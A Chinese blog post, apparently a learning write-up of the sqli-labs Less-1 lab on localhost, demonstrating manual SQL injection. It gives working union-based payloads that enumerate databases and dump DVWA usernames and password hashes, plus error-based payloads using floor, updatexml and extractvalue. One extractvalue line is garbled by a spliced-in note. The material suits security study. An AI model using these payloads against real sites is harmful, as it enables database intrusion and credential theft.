Sqli-labs 1

Part1:找注入点

第一关进来先简单测试一下,输入'报错,而",不报错,那么这里的语法应该是这种是select 字段 where id='',以为单引号也可以引用双引号,

而id=' 1" ',不报错就说明了这是一个字符型的注入。

 

 

 

 

 

 

找字段数:

找到注入点后就来看看查询的字段是几个了

查询2个不报错,4个报错,那么字段就是3个了

http://127.0.0.1/sql/Less-1/?id=1%27%20order%20by%202%20%23

 

 

 

 

 

 

 

Tips:

这里说明一下之前纠结了好久为什么要用%23而不能直接写#,可以看到#没有自动结果URL的转码

从浏览器输入的#并没有发到数据库,#号在URL中有特殊含义的,

原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#。

 

 

字段找到是3个后就来找显示字段是哪个,注释用--+或者--'也是可以的,这里的回显是在 2,3字段

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 %23
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+

 

 

 

Part2:

暴库名:

 

 下面就可以来查一下数据库了

 

http://127.0.0.1/sql/Less-1/?id=-1' union select NULL,NULL,(select group_concat(schema_name) from information_schema.schemata) %23

 

 

 

 已经列出了该数据库中的所有的库

在mysql里面查询:

 

 

 

暴表名:

这里就是查的challenges库的表了,额好像没什么东西,同理可以查其他库的

http://127.0.0.1/sql/Less-1/?id=-1' union select NULL,NULL,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') %23
http://127.0.0.1/sql/Less-1/?id=-1' union select NULL,NULL,(select group_concat(table_name) from information_schema.tables where table_schema='challengs') %23

比如喜闻乐见的dvwa库

 

 

 

 

 

 Dvwa:

 

 

 

这里就以dvwa为例把,可以看到他的users表,应该是有点东西的

 

暴字段:

http://127.0.0.1/sql/Less-1/?id=-1' union select NULL,NULL,
(select group_concat(column_name) from information_schema.columns where table_name='user' ) %23

这里查出了很多字段,看到user 和password是想要的

 

 

 

 

暴数据:

http://127.0.0.1/sql/Less-1/?id=-1' union select NULL,NULL,
(select group_concat(user,0x3a,password) from dvwa.users ) %23

这里group_concat()里面的0x3a就是10进制的58,对应ASCII码的 :,用: 来分隔开user和password

 

 

 

 到这里简单的注入就结束了,拿到权限后还有一系列提权写木马这些等等....

 

Part3:报错注入手工

1.floor报错

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

输出字符长度限制为64个字符!

payload填sql语句!

比如查当前数据库名:

 

 

 

2、通过updatexml报错

and updatexml(1,payload,1)
and updatexml(1,concat(0x7e,@@version,0x7e),1)

输出字符有长度限制,最长32位!

 

 

报错也是很好用,就是输出长度有限制,

 

 

 

 3、通过ExtractValue报错

    and extractvalue(1, payload)
    and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))

 

这里用的是not in 来过滤掉其他的显示输出

http://127.0.0.1/sql/Less-1/?id=-1' and extractvalue(1,
concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=
'users'and
column_name not in (
'user_id','first_name','last_name','user','avatar','last_login','failed_login')))) %23

应该是有更好的sql语句构造的,只是老师教的sql语法忘得差不多了......

 

 

好久没有写博客了,过了这么久,希望能重新拾起学习安全的兴趣!!

学习之路,静心才是本心~~

posted @ 2021-08-19 14:03  Erichas  阅读(83)  评论(0编辑  收藏  举报